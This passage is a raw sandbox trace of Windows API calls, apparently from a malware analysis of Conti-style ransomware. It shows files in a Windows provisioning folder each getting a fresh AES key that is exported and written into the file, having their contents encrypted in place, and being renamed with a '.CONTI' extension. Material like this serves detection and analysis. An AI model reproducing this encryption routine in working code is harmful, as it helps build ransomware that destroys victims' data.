	[0109.839] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0109.839] CryptDestroyKey (hKey=0x17c7c30) returned 1
	[0109.839] GetProcessHeap () returned 0x1720000
	[0109.839] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d0900 | out: hHeap=0x1720000) returned 1
	[0109.839] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8) returned 1
	[0109.839] CryptGenKey (in: hProv=0x176c238, Algid=0x6610, dwFlags=0x1, phKey=0x6b43998 | out: phKey=0x6b43998*=0x6b7f478) returned 1
	[0109.840] CryptExportKey (in: hKey=0x6b7f478, hExpKey=0x175dcf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4399c, pdwDataLen=0x4fbf86c | out: pbData=0x6b4399c*, pdwDataLen=0x4fbf86c*=0x20c) returned 1
	[0109.840] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\269__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\269__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20
	[0109.840] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\269__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\269__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0109.841] GetLastError () returned 0x0
	[0109.841] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x4fbf818 | out: lpFileSize=0x4fbf818*=467) returned 1
	[0109.841] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1d3
	[0109.841] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x231, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.841] SetEndOfFile (hFile=0x2ec) returned 1
	[0109.841] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.841] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.842] WriteFile (in: hFile=0x2ec, lpBuffer=0x6b4399c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4fbf824, lpOverlapped=0x0 | out: lpBuffer=0x6b4399c*, lpNumberOfBytesWritten=0x4fbf824*=0x20c, lpOverlapped=0x0) returned 1
	[0109.843] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.843] ReadFile (in: hFile=0x2ec, lpBuffer=0xe980000, nNumberOfBytesToRead=0x1d3, lpNumberOfBytesRead=0x4fbf844, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesRead=0x4fbf844*=0x1d3, lpOverlapped=0x0) returned 1
	[0109.843] CryptEncrypt (in: hKey=0x6b7f478, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x1d3, dwBufLen=0x500000 | out: pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x1e0) returned 1
	[0109.843] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.843] WriteFile (in: hFile=0x2ec, lpBuffer=0xe980000*, nNumberOfBytesToWrite=0x1e0, lpNumberOfBytesWritten=0x4fbf858, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesWritten=0x4fbf858*=0x1e0, lpOverlapped=0x0) returned 1
	[0109.843] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.843] WriteFile (in: hFile=0x2ec, lpBuffer=0x6b43990*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4fbf870, lpOverlapped=0x0 | out: lpBuffer=0x6b43990*, lpNumberOfBytesWritten=0x4fbf870*=0x8, lpOverlapped=0x0) returned 1
	[0109.844] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.844] CloseHandle (hObject=0x2ec) returned 1
	[0109.844] GetProcessHeap () returned 0x1720000
	[0109.844] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0109.844] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\269__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\269__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\269__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml"
	[0109.844] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\269__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\269__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\269__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI"
	[0109.844] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\269__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\269__cellular_persimsettings_$(__iccid)_appid.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\269__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\269__cellular_persimsettings_$(__iccid)_appid.provxml.conti")) returned 1
	[0109.844] GetProcessHeap () returned 0x1720000
	[0109.844] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0109.844] CryptDestroyKey (hKey=0x6b7f478) returned 1
	[0109.844] GetProcessHeap () returned 0x1720000
	[0109.845] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17bccf0 | out: hHeap=0x1720000) returned 1
	[0109.845] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8) returned 1
	[0109.845] CryptGenKey (in: hProv=0x176c238, Algid=0x6610, dwFlags=0x1, phKey=0x6b40520 | out: phKey=0x6b40520*=0x6b7f478) returned 1
	[0109.845] CryptExportKey (in: hKey=0x6b7f478, hExpKey=0x175dcf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b40524, pdwDataLen=0x4fbf86c | out: pbData=0x6b40524*, pdwDataLen=0x4fbf86c*=0x20c) returned 1
	[0109.845] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\26__Connections_Cellular_A1 (Austria)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\26__connections_cellular_a1 (austria)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0109.846] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\26__Connections_Cellular_A1 (Austria)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\26__connections_cellular_a1 (austria)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0109.846] GetLastError () returned 0x0
	[0109.846] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x4fbf818 | out: lpFileSize=0x4fbf818*=827) returned 1
	[0109.846] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x33b
	[0109.846] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x229, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.846] SetEndOfFile (hFile=0x2ec) returned 1
	[0109.846] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.846] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.846] WriteFile (in: hFile=0x2ec, lpBuffer=0x6b40524*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4fbf824, lpOverlapped=0x0 | out: lpBuffer=0x6b40524*, lpNumberOfBytesWritten=0x4fbf824*=0x20c, lpOverlapped=0x0) returned 1
	[0109.848] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.848] ReadFile (in: hFile=0x2ec, lpBuffer=0xe980000, nNumberOfBytesToRead=0x33b, lpNumberOfBytesRead=0x4fbf844, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesRead=0x4fbf844*=0x33b, lpOverlapped=0x0) returned 1
	[0109.848] CryptEncrypt (in: hKey=0x6b7f478, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x33b, dwBufLen=0x500000 | out: pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x340) returned 1
	[0109.848] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.848] WriteFile (in: hFile=0x2ec, lpBuffer=0xe980000*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x4fbf858, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesWritten=0x4fbf858*=0x340, lpOverlapped=0x0) returned 1
	[0109.848] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.848] WriteFile (in: hFile=0x2ec, lpBuffer=0x6b40518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4fbf870, lpOverlapped=0x0 | out: lpBuffer=0x6b40518*, lpNumberOfBytesWritten=0x4fbf870*=0x8, lpOverlapped=0x0) returned 1
	[0109.848] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.848] CloseHandle (hObject=0x2ec) returned 1
	[0109.848] GetProcessHeap () returned 0x1720000
	[0109.848] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0109.849] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\26__Connections_Cellular_A1 (Austria)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\26__Connections_Cellular_A1 (Austria)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\26__Connections_Cellular_A1 (Austria)_i0$(__MVID)@WAP.provxml"
	[0109.849] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\26__Connections_Cellular_A1 (Austria)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\26__Connections_Cellular_A1 (Austria)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\26__Connections_Cellular_A1 (Austria)_i0$(__MVID)@WAP.provxml.CONTI"
	[0109.849] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\26__Connections_Cellular_A1 (Austria)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\26__connections_cellular_a1 (austria)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\26__Connections_Cellular_A1 (Austria)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\26__connections_cellular_a1 (austria)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0109.849] GetProcessHeap () returned 0x1720000
	[0109.849] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0109.849] CryptDestroyKey (hKey=0x6b7f478) returned 1
	[0109.849] GetProcessHeap () returned 0x1720000
	[0109.849] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17e1330 | out: hHeap=0x1720000) returned 1
	[0109.849] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8) returned 1
	[0109.849] CryptGenKey (in: hProv=0x176c238, Algid=0x6610, dwFlags=0x1, phKey=0x6b40e40 | out: phKey=0x6b40e40*=0x6b7f4f8) returned 1
	[0109.849] CryptExportKey (in: hKey=0x6b7f4f8, hExpKey=0x175dcf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b40e44, pdwDataLen=0x4fbf86c | out: pbData=0x6b40e44*, pdwDataLen=0x4fbf86c*=0x20c) returned 1
	[0109.850] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\270__Connections_Cellular_Telefonica (Mexico)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\270__connections_cellular_telefonica (mexico)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0109.851] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\270__Connections_Cellular_Telefonica (Mexico)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\270__connections_cellular_telefonica (mexico)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0109.851] GetLastError () returned 0x0
	[0109.851] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x4fbf818 | out: lpFileSize=0x4fbf818*=791) returned 1
	[0109.851] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x317
	[0109.851] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x22d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.851] SetEndOfFile (hFile=0x2ec) returned 1
	[0109.851] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.851] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.851] WriteFile (in: hFile=0x2ec, lpBuffer=0x6b40e44*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4fbf824, lpOverlapped=0x0 | out: lpBuffer=0x6b40e44*, lpNumberOfBytesWritten=0x4fbf824*=0x20c, lpOverlapped=0x0) returned 1
	[0109.853] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.853] ReadFile (in: hFile=0x2ec, lpBuffer=0xe980000, nNumberOfBytesToRead=0x317, lpNumberOfBytesRead=0x4fbf844, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesRead=0x4fbf844*=0x317, lpOverlapped=0x0) returned 1
	[0109.853] CryptEncrypt (in: hKey=0x6b7f4f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x317, dwBufLen=0x500000 | out: pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x320) returned 1
	[0109.853] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.853] WriteFile (in: hFile=0x2ec, lpBuffer=0xe980000*, nNumberOfBytesToWrite=0x320, lpNumberOfBytesWritten=0x4fbf858, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesWritten=0x4fbf858*=0x320, lpOverlapped=0x0) returned 1
	[0109.853] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.853] WriteFile (in: hFile=0x2ec, lpBuffer=0x6b40e38*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4fbf870, lpOverlapped=0x0 | out: lpBuffer=0x6b40e38*, lpNumberOfBytesWritten=0x4fbf870*=0x8, lpOverlapped=0x0) returned 1
	[0109.853] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.853] CloseHandle (hObject=0x2ec) returned 1
	[0109.853] GetProcessHeap () returned 0x1720000
	[0109.853] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0109.853] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\270__Connections_Cellular_Telefonica (Mexico)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\270__Connections_Cellular_Telefonica (Mexico)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\270__Connections_Cellular_Telefonica (Mexico)_i0$(__MVID)@WAP.provxml"
	[0109.853] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\270__Connections_Cellular_Telefonica (Mexico)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\270__Connections_Cellular_Telefonica (Mexico)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\270__Connections_Cellular_Telefonica (Mexico)_i0$(__MVID)@WAP.provxml.CONTI"
	[0109.853] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\270__Connections_Cellular_Telefonica (Mexico)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\270__connections_cellular_telefonica (mexico)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\270__Connections_Cellular_Telefonica (Mexico)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\270__connections_cellular_telefonica (mexico)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0109.854] GetProcessHeap () returned 0x1720000
	[0109.854] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0109.854] CryptDestroyKey (hKey=0x6b7f4f8) returned 1
	[0109.854] GetProcessHeap () returned 0x1720000
	[0109.854] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b72228 | out: hHeap=0x1720000) returned 1
	[0109.854] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8) returned 1
	[0109.854] CryptGenKey (in: hProv=0x176c238, Algid=0x6610, dwFlags=0x1, phKey=0x6b42510 | out: phKey=0x6b42510*=0x6b7f478) returned 1
	[0109.854] CryptExportKey (in: hKey=0x6b7f478, hExpKey=0x175dcf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b42514, pdwDataLen=0x4fbf86c | out: pbData=0x6b42514*, pdwDataLen=0x4fbf86c*=0x20c) returned 1
	[0109.855] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\271__Connections_Cellular_Telenor (Montenegro)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\271__connections_cellular_telenor (montenegro)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0109.855] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\271__Connections_Cellular_Telenor (Montenegro)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\271__connections_cellular_telenor (montenegro)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0109.856] GetLastError () returned 0x0
	[0109.856] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x4fbf818 | out: lpFileSize=0x4fbf818*=905) returned 1
	[0109.856] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x389
	[0109.856] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x22b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.856] SetEndOfFile (hFile=0x2ec) returned 1
	[0109.856] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.856] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.856] WriteFile (in: hFile=0x2ec, lpBuffer=0x6b42514*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4fbf824, lpOverlapped=0x0 | out: lpBuffer=0x6b42514*, lpNumberOfBytesWritten=0x4fbf824*=0x20c, lpOverlapped=0x0) returned 1
	[0109.858] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.858] ReadFile (in: hFile=0x2ec, lpBuffer=0xe980000, nNumberOfBytesToRead=0x389, lpNumberOfBytesRead=0x4fbf844, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesRead=0x4fbf844*=0x389, lpOverlapped=0x0) returned 1
	[0109.858] CryptEncrypt (in: hKey=0x6b7f478, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x389, dwBufLen=0x500000 | out: pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x390) returned 1
	[0109.858] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.858] WriteFile (in: hFile=0x2ec, lpBuffer=0xe980000*, nNumberOfBytesToWrite=0x390, lpNumberOfBytesWritten=0x4fbf858, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesWritten=0x4fbf858*=0x390, lpOverlapped=0x0) returned 1
	[0109.858] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.858] WriteFile (in: hFile=0x2ec, lpBuffer=0x6b42508*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4fbf870, lpOverlapped=0x0 | out: lpBuffer=0x6b42508*, lpNumberOfBytesWritten=0x4fbf870*=0x8, lpOverlapped=0x0) returned 1
